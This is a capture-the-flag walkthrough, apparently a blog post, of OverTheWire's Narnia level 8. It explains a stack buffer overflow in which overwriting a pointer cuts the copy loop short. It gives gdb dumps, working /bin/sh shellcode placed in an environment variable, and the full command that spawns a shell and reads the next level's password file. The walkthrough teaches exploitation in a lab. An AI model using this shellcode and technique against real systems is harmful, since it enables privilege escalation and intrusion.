Level 8

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int i;

void func(char *b){  
        char *blah=b;
        char bok[20];
        //int i=0;

        memset(bok, '\0', sizeof(bok));
        for(i=0; blah[i] != '\0'; i++)
                bok[i]=blah[i];

        printf("%s\n",bok);
}

int main(int argc, char **argv){

        if(argc > 1)
                func(argv[1]);
        else
        printf("%s argument\n", argv[0]);

        return 0;
}

For our final exploit we are given what looks like another buffer overflow -- but with a twist. It seems that no matter what we do, we can't get an overflow!

narnia8@melinda:/narnia$ ./narnia8 $(python -c 'print "A"*1000')  
AAAAAAAAAAAAAAAAAAAAA���  
narnia8@melinda:/narnia$ ./narnia8 $(python -c 'print "A"*20000')  
AAAAAAAAAAAAAAAAAAAAA���  
narnia8@melinda:/narnia$ ./narnia8 $(python -c 'print "A"*200000')  
-bash: ./narnia8: Argument list too long

We can at most get 21 A's to appear, followed by some junk characters, no matter how many we input. As with most levels, let's jump into gdb for one last hurrah:

(gdb) set disassembly-flavor intel
(gdb) disas func
Dump of assembler code for function func:  
   0x0804842d <+0>:    push   ebp
   0x0804842e <+1>:    mov    ebp,esp
   0x08048430 <+3>:    sub    esp,0x38
   0x08048433 <+6>:    mov    eax,DWORD PTR [ebp+0x8] **** <- Address of b (passed in arg)

..... ...
   0x08048433 <+6>:    mov    eax,DWORD PTR [ebp+0x8]
   0x08048436 <+9>:    mov    DWORD PTR [ebp-0xc],eax
   0x08048439 <+12>:    mov    DWORD PTR [esp+0x8],0x14
   0x08048441 <+20>:    mov    DWORD PTR [esp+0x4],0x0
   0x08048449 <+28>:    lea    eax,[ebp-0x20] ************ <- Bok (Actual location)
   0x0804844c <+31>:    mov    DWORD PTR [esp],eax
   0x0804844f <+34>:    call   0x8048320 <memset@plt>
..... ...
   0x08048454 <+39>:    mov    DWORD PTR ds:0x80497b8,0x0   # Initialize index = 0
   0x0804845e <+49>:    jmp    0x8048486 <func+89>          # Do first post loop check

   ### Start loop ###
   0x08048460 <+51>:    mov    eax,ds:0x80497b8             # Load index
   0x08048465 <+56>:    mov    edx,DWORD PTR ds:0x80497b8
   0x0804846b <+62>:    mov    ecx,edx                      # ecx has index
   0x0804846d <+64>:    mov    edx,DWORD PTR [ebp-0xc] *** <- Pointer to blah
   0x08048470 <+67>:    add    edx,ecx                      # edx = (blah+i)
   0x08048472 <+69>:    movzx  edx,BYTE PTR [edx]           # edx = *(blah+i)
   0x08048475 <+72>:    mov    BYTE PTR [ebp+eax*1-0x20],dl # *(bok+i) = *(blah+i)
   0x08048479 <+76>:    mov    eax,ds:0x80497b8
   0x0804847e <+81>:    add    eax,0x1                      # increment index
   0x08048481 <+84>:    mov    ds:0x80497b8,eax
   ### Post loop check ###
   0x08048486 <+89>:    mov    eax,ds:0x80497b8             # Load index
   0x0804848b <+94>:    mov    edx,eax                                
   0x0804848d <+96>:    mov    eax,DWORD PTR [ebp-0xc]
   0x08048490 <+99>:    add    eax,edx                      
   0x08048492 <+101>:    movzx  eax,BYTE PTR [eax]          # Load *(blah+i)
   0x08048495 <+104>:    test   al,al                       # Test if at end
   0x08048497 <+106>:    jne    0x8048460 <func+51>
..... ...
   0x080484a0 <+115>:    mov    DWORD PTR [esp],0x8048580
   0x080484a7 <+122>:    call   0x80482f0 <printf@plt>
   0x080484ac <+127>:    leave
   0x080484ad <+128>:    ret
End of assembler dump.  

So there is a lot going on, most likely due to the complexity of a for loop doing the copying instead of a library function like strcpy. However I've heavily annotated the assembly and most of it should be easy to follow.

Now that we know where everything roughly lives, let us run the program with some arguments and see what is actually happening. Find the number of A's you can run without seeing the weird characters (for me this was 19)

(gdb) b *func + 127        
(gdb) r AAAAAAAA
Starting program: /games/narnia/narnia8 $(python -c 'print "A"*19')  
AAAAAAAAAAAAAAAAAAA

Breakpoint 1, 0x080484ac in func ()  
(gdb) x/wx $ebp-0xc
0xffffd69c:    0xffffd8a5      # This is pointer to blah  
(gdb) x/wx $ebp-0x20
0xffffd678:    0x41414141      # This is start of our buffer, bok  
(gdb) x/48wx $esp
0xffffd660:    0x08048580  0xffffd678  0x00000014  0xf7e55f53  
0xffffd670:    0x00000000  0x00ca0000  0x41414141  0x41414141  
0xffffd680:    0x41414141  0x41414141  0x00414141  0xffffd8a5*   *<- *blah  
0xffffd690:    0x00000002  0xffffd754  0xffffd6b8  0x080484cd  
0xffffd6a0:    0xffffd8a5  0xf7ffd000  0x080484fb  0xf7fca000  
0xffffd6b0:    0x080484f0  0x00000000  0x00000000  0xf7e3ca63  
0xffffd6c0:    0x00000002  0xffffd754  0xffffd760  0xf7feacea  
0xffffd6d0:    0x00000002  0xffffd754  0xffffd6f4  0x080497a4  
0xffffd6e0:    0x0804820c  0xf7fca000  0x00000000  0x00000000  
0xffffd6f0:    0x00000000  0x47e1c50f  0x7fd8011f  0x00000000  
0xffffd700:    0x00000000  0x00000000  0x00000002  0x08048330  
0xffffd710:    0x00000000  0xf7ff0500  0xf7e3c979  0xf7ffd000

The above picture actually explains what is happening, and why we can seemingly input any large sized string as we want without overflowing.

First we know that the loop condition for copying our input to the buffer, bok, relies on traversing the string pointed to by the char *blah which starts dereferencing at 0xffffd8a5 (the location of our input), and stops when it reaches the 'end' or a null byte marking the end of string.

Now it seems that once we get to 20 characters in our input, we begin to overflow into the blah, effectively changing what it was pointing to. Once this happens, it no longer is pointing to our input, and so it copies over one last \x41 which overwrites the lowest order byte, giving you 21 A's. It scans our next 3 bytes which the remainder of our blah pointer, representing them as non-ascii characters before it reaches a null byte, and thus an overflow is averted in a very roundabout way.

You can see this behavior from the following dump:

Starting program: /games/narnia/narnia8 $(python -c 'print "A"*500')  
AAAAAAAAAAAAAAAAAAAAA���

Breakpoint 1, 0x080484ac in func ()  
(gdb) x/wx24$esp
A syntax error in expression, near `$esp'.  
(gdb) x/24wx $esp
0xffffd480:    0x08048580  0xffffd498  0x00000014  0xf7e55f53  
0xffffd490:    0x00000000  0x00ca0000  0x41414141  0x41414141  
0xffffd4a0:    0x41414141  0x41414141  0x41414141  0xffffd641*  *<- *blah pointer  
0xffffd4b0:    0x00000002  0xffffd574  0xffffd4d8  0x080484cd  
                     _ *b
                    |
                    v
0xffffd4c0:    0xffffd6c2* 0xf7ffd000  0x080484fb  0xf7fca000  
0xffffd4d0:    0x080484f0  0x00000000  0x00000000  0xf7e3ca63  

When we overflow into blah, there is the misalignment causes it to no longer point to what it was assigned to in the beginning (b, our input). The solution of course is that when we overflow, to rewrite blah to the actual location of b before continuing, adjusting for the position of our stack. Remember when you change your stack, you must adjust for the change in position in the stack as well. Always check to see where b has been set with x/wx $ebp+0x8. If you get an address, that means that is where b points to now, otherwise if you see your input string that means your string is properly formatted:

Starting program: /games/narnia/narnia8 $(python -c 'print "A"*20 + "\x10\xd6\xff\xff" + "A"*140')  
AAAAAAAAAAAAAAAAAAAAA��

Breakpoint 1, 0x080484ac in func ()  
(gdb) x/wx $ebp+0x8
0xffffd610:    0xffffd812  
(gdb) r $(python -c 'print "A"*20 + "\x12\xd8\xff\xff" + "A"*140')
The program being debugged has been started already.  
Start it from the beginning? (y or n) y

Starting program: /games/narnia/narnia8 $(python -c 'print "A"*20 + "\x12\xd8\xff\xff" + "A"*140')  
AAAAAAAAAAAAAAAAAAAA���AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  

So no we know how to overflow, the question becomes what do we overwrite. The answer is similar to what we did for a return-to-libc, only this case we are not overwriting a function call, but the function return of func itself to jump to a location we want.

In order to find the return address in the stack, you can always rely that while in the func context, the return address will always be held in $ebp+0x4 (x86 calling convention). You can verify this by also looking at the address of the next instruction after the call in main.

(gdb) x/wx $ebp+0x4
0xffffd6ac:    0x080484cd  
(gdb) x/24wx $esp
0xffffd670:    0x08048580  0xffffd688  0x00000014  0xf7e55f53  
0xffffd680:    0x00000000  0x00ca0000  0x41414141  0x00000041  
0xffffd690:    0x00000000  0x00000000  0x00000000  0xffffd8b1  
0xffffd6a0:    0x00000002  0xffffd764  0xffffd6c8  0x080484cd*  *<- Here  
0xffffd6b0:    0xffffd8b1  0xf7ffd000  0x080484fb  0xf7fca000  
0xffffd6c0:    0x080484f0  0x00000000  0x00000000  0xf7e3ca63  

There are 10 words from start of our buffer until the return address, therefore we need 36 bytes (making sure to correct blah in the process) + 4 bytes to get the overwrite.

# Note I progressively altered the overwrite of 'blah' every time I altered the input string

Starting program: /games/narnia/narnia8 $(python -c 'print "A"*20 + "\x8e\xd8\xff\xff" + "A"*12 + "\xef\xbe\xad\xde"')

Breakpoint 6, 0x080484a7 in func ()  
(gdb) x/wx $ebp+0x4
0xffffd68c:    0xdeadbeef  # Success  
(gdb)

We still have a problem, the buffer space we have of 20 A's and 12 A's respectively are not large enough to store my shellcode, which is 25 bytes long.

All is not lost however, since we are going to go back to what I mentioned in Level 2, and that is placing our shellcode instead at an environment variable, and setting our return address to instead jump to that.

While you can mess around with clearing the environment in gdb and working with *environ to find the address, this simple program will actually find the address of a target environment variable for you. With that lets try it out:

narnia8@melinda:/narnia$ export PERKS=$(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"')  
# Make sure you call your binary exactly the same as you do with this program

# Direct call
narnia8@melinda:/narnia$ /tmp/getenvaddr PERKS ./narnia8  
PERKS will be at 0xffffdf66

# Full path call
narnia8@melinda:/narnia$ /tmp/getenvaddr PERKS /narnia/narnia8  
PERKS will be at 0xffffdf5a

# Going with direct call
narnia8@melinda:/narnia$ ./narnia8 $(python -c 'print "A"*20 + "\x8e\xd8\xff\xff" + "A"*12 + "\x66\xdf\xff\xff"')  
AAAAAAAAAAAAAAAAAAAA�A��  

Damn, that's right we have to adjust for gdb. To do this requires a bit of luck, but we can make our lives easier by trying to match the context of gdb with how we run our variable. We know about env -i which allows us to set a custom environment to run a binary. We also know about gdb and the *environ pointer.

By clearing our gdb environment and adding a placeholder env variable with our dimensions (size of var name + size of var payload), and recreating this with our binary, we minimize the distance betweeen gdb memory addresses and the normal program's during runtime:

(gdb) unset environ
Delete all environment variables? (y or n) y  
(gdb) b *main   # So we can examine our stack
(gdb) set env PERKS=AAAAAAAAAAAAAAAAAAAAAAAAA  # 25 bytes
(gdb) r
The program being debugged has been started already.  
Start it from the beginning? (y or n) y  
Starting program: /games/narnia/narnia8

Breakpoint 1, 0x080484ae in main ()  
(gdb) x/8s *environ
0xffffdfa8:    "PWD=/games/narnia"  
0xffffdfba:    "SHLVL=0"  
0xffffdfc2:    "PERKS=", 'A' <repeats 25 times>  
0xffffdfe2:    "/games/narnia/narnia8"  
0xffffdff8:    ""  
0xffffdff9:    ""  
0xffffdffa:    ""  
0xffffdffb:    ""  
(gdb) del break 1
(gdb) b *func+122
Breakpoint 2 at 0x80484a7

# See what it is at input size = 20
(gdb) r $(python -c 'print "A"*20')
The program being debugged has been started already.  
Start it from the beginning? (y or n) y

Starting program: /games/narnia/narnia8 $(python -c 'print "A"*20')

Breakpoint 2, 0x080484a7 in func ()  
(gdb) x/24wx $esp
0xffffdda0:    0x08048580  0xffffddb8  0x00000014  0xf7e55f53  
0xffffddb0:    0x00000000  0x00ca0000  0x41414141  0x41414141  
0xffffddc0:    0x41414141  0x41414141  0x41414141  0xffffdf93  
0xffffddd0:    0x00000002  0xffffde94  0xffffddf8  0x080484cd  
0xffffdde0:    0xffffdf93  0xf7ffd000  0x080484fb  0xf7fca000  
0xffffddf0:    0x080484f0  0x00000000  0x00000000  0xf7e3ca63  
..... ...

# After figuring out offset...

(gdb) r $(python -c 'print "A"*20 + "\x7f\xdf\xff\xff" + "A"*12 +"\xef\xbe\xad\xde"')
Starting program: /games/narnia/narnia8 $(python -c 'print "A"*20 + "\x7f\xdf\xff\xff" + "A"*12 +"\xef\xbe\xad\xde"')

Breakpoint 2, 0x080484a7 in func ()  
(gdb) x/24wx $esp
0xffffdd90:    0x08048580  0xffffdda8  0x00000014  0xf7e55f53  
0xffffdda0:    0x00000000  0x00ca0000  0x41414141  0x41414141  
0xffffddb0:    0x41414141  0x41414141  0x41414141  0xffffdf7f  
0xffffddc0:    0x41414141  0x41414141  0x41414141  0xdeadbeef  
0xffffddd0:    0xffffdf7f  0xf7ffd000  0x080484fb  0xf7fca000  
0xffffdde0:    0x080484f0  0x00000000  0x00000000  0xf7e3ca63  
(gdb) c
Continuing.  
AAAAAAAAAAAAAAAAAAAA���AAAAAAAAAAAAᆳ����

Program received signal SIGSEGV, Segmentation fault.  
0xdeadbeef in ?? ()  

Okay now that we know our blah address with our input length (0xffffdf7f), and when input length doesn't overflow (0xffffdf93). The trick here is to recreate our environment, see what the base address of blah is at regular (20) size, find the difference between outside and inside gdb, then add that difference to 0xffffdf7f. We are also lucky since running the program will output what our blah is, so we can pipe it through xxd to get the hex value:

narnia8@melinda:/narnia$ env -i PWD="/games/narnia" SHLVL=0 PERKS=$(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"') /narnia/narnia8 $(python -c 'print "A"*20') | xxd

0000000: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA  
0000010: 4141 4141 99df ffff 020a                 AAAA......

#  We see '0xffffdf99'
# '0xffffdf99 - 0xffffdf93' = 0x6   # our difference
# '0xffffdf7f + 0x6' = '0xffffdf85' # our new 'blah'

Now let's find where our environment variable is going to be located. Remember we have to run this too with our custom environment, and make sure how you called the narnia8 binary between gdb and this is consistent!

narnia8@melinda:/narnia$ env -i PWD="/games/narnia" SHLVL=0 PERKS=$(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"') /tmp/getenvaddr PERKS /narnia/narnia8

PERKS will be at 0xffffdfce  

Now all is left is to run the full command:

narnia8@melinda:/narnia$ env -i PWD="/games/narnia" SHLVL=0 PERKS=$(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"') /narnia/narnia8 $(python -c 'print "A"*20 + "\x85\xdf\xff\xff" + "A"*12 +"\xce\xdf\xff\xff"')  
AAAAAAAAAAAAAAAAAAAA����AAAAAAAAAAAA��������  
$ whoami
narnia9  
$ cat /etc/narnia_pass/narnia9
**** Password Removed ***

narnia8@melinda:ssh narnia9@narnia.labs.overthewire.org

Welcome to the OverTheWire games machine !

narnia9@melinda:~$ ls  
CONGRATULATIONS  
narnia9@melinda:~$ cat CONGRATULATIONS  
you are l33t! next plz...

All right!

That was a really tricky set of things to do and getting the mapping between gdb and outside of it is tedious and very frustrating. If it is not working for you, I recommend you triple check that everything you are doing is matching up (calling with same path name, from the same directory, including all environment variables), and after that try wiggling the address of blah a bit.


And with that last level, we have wrapped up and finished Narnia!

Hopefully you are quite comfortable with the basic techniques you have learned here, and are ready to apply them to more difficult scenarios where the main vulnerability is not quite as obvious.

It was a lot of fun going back through the exploits and digging into the internals, and I hope you learned something from this entire process.

Until next time!

Show Comments